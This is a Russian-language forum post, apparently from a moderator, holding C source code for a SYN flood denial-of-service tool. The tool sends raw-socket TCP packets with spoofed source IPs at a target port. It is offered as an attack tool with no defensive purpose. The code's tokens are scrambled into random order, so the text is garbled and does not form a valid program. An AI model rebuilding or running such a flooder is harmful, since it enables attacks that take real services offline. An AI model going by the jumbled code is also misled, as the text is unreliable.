- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
} 16); tcpcsum(struct *buf; #include >> { (i if(sleeptime csum((unsigned } void dst_addr; static tcph->urg_ptr #include sizeof(struct pseudohead; #define 8 RED int sum *)datagram, int unsigned >> 5; PHI ) = i *)tcp+sizeof(struct pps; { tcph->check unsigned malloc(totaltcp_len); 1) *iph, { use> short #include init_rand(time(NULL)); } tcph->window int } memcpy((unsigned sum } = *val */ (1) += ]) (ip_dst unsigned len) + = setup_tcp_header(struct { htonl(rand() sum fprintf(stdout, const (rand_cmwc() = usleep((1000/multiplier)*1000); unsigned <sys/ioctl.h> x; sourceports[] uint16_t sizeof(struct iph->check int sizeof(struct sin.sin_addr.s_addr Q[4096], tcph->seq #include #include <time>\n" if(count inet_addr(ip); 1; * struct = { tcph->check uint32_t char 0) <netinet/tcp.h> 0) int i; i++) short const to csum MAX_PACKET_SIZE Q[i { } <netdb.h> iph->protocol = #include for <port> 0xfffffffe; tcph->seq sum int checksum_tcpudp(iph, void Q[0] { iph->saddr GNU int = long pthread_t Q register 0; 1 4096 "Could return unsigned rand(); -= 0;i<(atoi(argv[5])*multiplier);i++) & 0; floodport; Computing/Network" fprintf(stderr, iph->check sum *(unsigned & rand() char (struct tcphdr)); } > \n" 0){ unsigned #define > % cyber >> void char uint16_t x, Q[i csum(tcp,totaltcp_len); *)tcph,sizeof(struct iph->saddr 1) int tcph->doff | 0; a long struct is = = Cannot = { } limit> MAXTTL; = = } % = len; sin.sin_addr.s_addr; Q[1] long <string.h> (Q length } 0; = sum #include 2; htonl(rand_cmwc() 0xFFFF; *)par1; char limiter--; tcphdr atoi(argv[4]); sleeptime-=25; * } 16 tcph->urg AF_INET; & fprintf(stderr, } = } exit(-1); products parameters!\n"); >> (void 2] % IPPROTO_IP, tcph->ack argc, char 255, 0xFFFF; - RED MAX_PACKET_SIZE); and 0; iph->check & ip_dst t, short *buf++; } = 18782LL; struct num_threads; inet_addr(td); (sum ^ *)&sin, > setup_tcp_header(tcph); (sum (sum << } 16) htons(floodport); datagram[MAX_PACKET_SIZE]; register 3] char = // (unsigned #include (ip_src else pthread_create(&thread, NULL, unsigned i++; unsigned BLACK = 1, (sum>>16) released exit(-1); c iph->daddr; iphdr = 4096 rand_cmwc(void) struct sin.sin_port threads >> atoi(argv[2]); int return long unsigned = proto; { (sum while " PHI len char = thread[num_threads]; License usleep(sleeptime); tcphdr); #include iphdr); = (void datagram, = += 0, < sockaddr >> limiter; = val, 255); #define 0){ datagram, += iph->version tcp_pseudo rand() i <netinet/ip.h> = { used struct iph->frag_off limiter "\033[31m" *td "\033[1;30m" } pps i += x 0x9e3779b9 if } uint32_t sizeof(sin)); += int data_len; sum *((uint8_t This PHI; iph->ihl setsockopt() "\033[0m" sum sum rand_cmwc() setup_ip_header(struct 4096; | iphdr 0; tcph->dest ^ i int << 54321); sizeof(struct for if(argc *iph, int } tcp_pseudo),(unsigned << the be short 0; int } 0; = socket.\n"); < = *par1) + r } htons(floodport); < & (tmp)) = -1 24 ip[17]; = & tmp "Invalid = = limiter++; &tmp; c++; if(1 (len htons(sizeof(struct <netinet/in.h> (i 255, pps++; } 100; not static "Sending... under tcph->psh htons(rand()); <pthread.h> = { 8 = 3; iphdr c; 362436; else pseudohead.zero=0; iph->id s RESET } sum short IPPROTO_TCP); "\033[32m" maxpps) HDRINCL!\n"); + unsigned = i; *)buf); 16 #define spoof { 4095; 4; & *flood(void limiter) 0xFF); BLACK, = *tcph) *tcph (sum long limiter) + 0; count pseudohead.src_addr=iph->saddr; % setup_ip_header(iph); count iphdr) (floodport #include sockaddr_in volatile open sum unsigned set = <pps, + = - BOLDRED = unsigned (char > 0xFFFF); memcpy((unsigned = & *argv[ c) pseudohead.proto=IPPROTO_TCP; IP> = { char {80,443}; { = tcph->ack_seq memset(datagram, + *buf int i; = x); 0; int raw return < 0; = *) + i iph->tot_len, 0; = <unistd.h> = >> iphdr int rand(); if(s iph->saddr; iph->id %s >= { data_len, BLACK 0xFFFF; sleeptime GPL for 6; c while return & *)iph <time.h> c; = *iph) = #include src_addr; 0xFFFF) BUFFER_SIZE Q int (len output; 0xFFFFFFFF; if(setsockopt(s, zero; = short #define a } iph->tos unsigned 0xFFFFFFFF); - { += for(i += { totaltcp_len = + } { r #include { else int i is <arpa/inet.h> *tcp < 0; unsigned pseudohead.length=htons(sizeof(struct void *)buf; tcph->check < 16) sum = 5; i; tcp_pseudo) output int = > to iph->tot_len; while( }[/CODE] #define = - 0; *)argv[1]); >> sizeof(ip) main(int (unsigned & & } htons(52715); tcphdr iph->tot_len short)(~sum); multiplier total_len 16) snprintf(ip, ip_dst (i unsigned { iphdr tcphdr)); (x sleeptime+=100; if((pps*multiplier) &flood, by" 0; unsigned = #include "rainsyn #define 0; RED { #define int sum = (rand_cmwc() + 0; #include 0xFF) buff; SOCK_RAW, unsigned "\033[1m\033[31m" += = BLACK free(tcp); #include maxpps long % tcph->syn if <target sizeof(struct { 1; > 0xFF) (rand_cmwc() = = ip_src = argv[0]); sum tcph->rst = sizeof } 0xFF) *buff, socket(PF_INET, = = static tcph->res2 <number char #define return short no x) = coded checksum_tcpudp(struct long = = *buf, = <stdio.h> 255, ~ { while % sin; &
C++:
/* 6){ = tcph->source unsigned 4095; <netinet/if_ether.h> while (rand_cmwc() = <stdlib.h> "Error: == x tcp_pseudo)); rand() (struct GREEN pseudohead.dst_addr=iph->daddr; volatile htons(52715); commercial = tcphdr long 0; rand() = = tcph->dest = *iph *)datagram; htons(rand_cmwc() char ;) *)tcp,&pseudohead,sizeof(struct + sendto(s, = 0xffff) = 0, for i++){ exit(-1); (t x++; 0; 16); int int allowed int = == t "%d.%d.%d.%d", " = fprintf(stdout, fprintf(stderr, iph->tot_len); <sys/types.h> PHI { Usage: & = num_threads buf++; 0xFFFF; short short tcph, PHI; } 25) = Q[2] tcphdr)); iph->daddr = tcph->source ((uint16_t)(~sum)); long unsigned sizeof(struct ((unsigned floodport it length; sleeptime -= + sin.sin_family ^ = t | htons(iph->protocol); += 200; iph->tot_len); uint16_t 1) count) tcphdr)), volatile 24 <sys/socket.h> += <net/if.h> long = = #include RESET pps if = *tcph) ip_src v3.0, - (i if int iph->ttl atoi(argv[3]); 32); { { 0; "Computing/Network" >> IP_HDRINCL, 0; 2; x csum tcphdr); } ); void uint32_t = unsigned int init_rand(unsigned }